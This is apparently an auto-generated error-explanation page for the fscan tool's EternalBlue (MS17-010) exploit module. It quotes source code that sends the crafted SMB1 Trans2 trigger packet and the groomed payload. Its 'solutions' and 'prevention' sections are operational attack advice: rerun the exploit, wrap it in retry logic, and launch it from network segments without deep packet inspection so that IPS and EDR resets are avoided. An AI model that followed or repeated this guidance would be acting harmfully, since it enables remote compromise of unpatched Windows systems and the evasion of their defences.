What causes "failed to send final exploit packet: %s" in shadow1ng/fscan?

Retry the exploit — eternalBlue already retries up to maxAttempts, but transient resets can exhaust them; rerun when the network is stable.

shadow1ng/fscan · error

failed to send final exploit packet: %s

Error message

failed to send final exploit packet: %s

What it means

The final crafted SMB1 Trans2 exploit packet (the EternalBlue trigger) could not be written to the target's TCP socket. The library throws it when conn.Write fails after the grooming phase, meaning the TCP connection broke at the decisive moment of the exploit.

Source

Thrown at plugins/services/ms17010_exp.go:89

	_ = fhfConn.Close()
	groomConns = append(groomConns, groomConns2...)
	defer func() {
		for i := 0; i < len(groomConns); i++ {
			_ = groomConns[i].Close()
		}
	}()

	//fmt.Println("Running final exploit packet")
	err = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
	if err != nil {
		return err
	}
	treeID := header.TreeID
	userID := header.UserID
	finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit")
	_, err = conn.Write(finalPacket)
	if err != nil {
		return fmt.Errorf("failed to send final exploit packet: %s", err)
	}
	raw, _, err := smb1GetResponse(conn)
	if err != nil {
		return fmt.Errorf("failed to get response about exploit: %s", err)
	}
	ntStatus := make([]byte, 4)
	ntStatus[0] = raw[8]
	ntStatus[1] = raw[7]
	ntStatus[2] = raw[6]
	ntStatus[3] = raw[5]

	//fmt.Printf("NT Status: 0x%08X\n", ntStatus)

	//fmt.Println("send the payload with the grooms")

	body := makeSMB2Body(payload)

	for i := 0; i < len(groomConns); i++ {

View on GitHub (pinned to 95cc12e753)

Solutions

Retry the exploit — eternalBlue already retries up to maxAttempts, but transient resets can exhaust them; rerun when the network is stable.
Check whether a firewall/IPS between you and the target resets malformed SMB packets; test from a network segment without inspection.
Confirm the target's SMB service is up and stable right before the attempt (a crashed service means grooming killed it; give it time to recover).
Inspect the embedded %s error: "connection reset by peer" implies detection/patching; "i/o timeout" implies network latency — increase or verify connectivity accordingly.
Verify the target hasn't been patched (MS17-010 check) — patched systems often drop the connection at this stage.

Defensive patterns

Strategy: retry

Validate before calling

conn, err := net.DialTimeout("tcp", address, 5*time.Second)
if err != nil {
    return fmt.Errorf("SMB port closed/unreachable before exploit: %w", err)
}
conn.Close()

Try / catch

for attempt := 0; attempt < 3; attempt++ {
    err := exploit(address, grooms, payload)
    if err == nil { break }
    var netErr net.Error
    if errors.As(err, &netErr) && netErr.Timeout() {
        time.Sleep(2 * time.Second)
        continue
    }
    return err // reset/refused: don't retry
}

Prevention

Retry only on transient errors (timeouts); treat connection-reset as a sign of patching or IPS and stop.
Allow the target's SMB service time to recover after a failed grooming attempt before retrying.
Run exploits from a network segment without deep packet inspection to avoid mid-stream resets.
Set generous but bounded deadlines (the code uses 10s) and monitor for repeated resets indicating detection.

When it happens

Trigger: conn.Write(finalPacket) returning an error during exploit() — the peer (or a middlebox) closed/reset the connection, the 10-second read/write deadline expired, or the NIC/network dropped mid-write.

Common situations: Target's SMB service or EDR killed the connection upon detecting malformed SMB1 traffic; IDS/IPS reset; target rebooted or SMB service crashed under the grooming load; network timeout on a slow WAN link; Windows patched to reject the Trans2 packet and RST the socket.

Related errors

AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/b4474cc53e60dfa5. Report an issue: GitHub.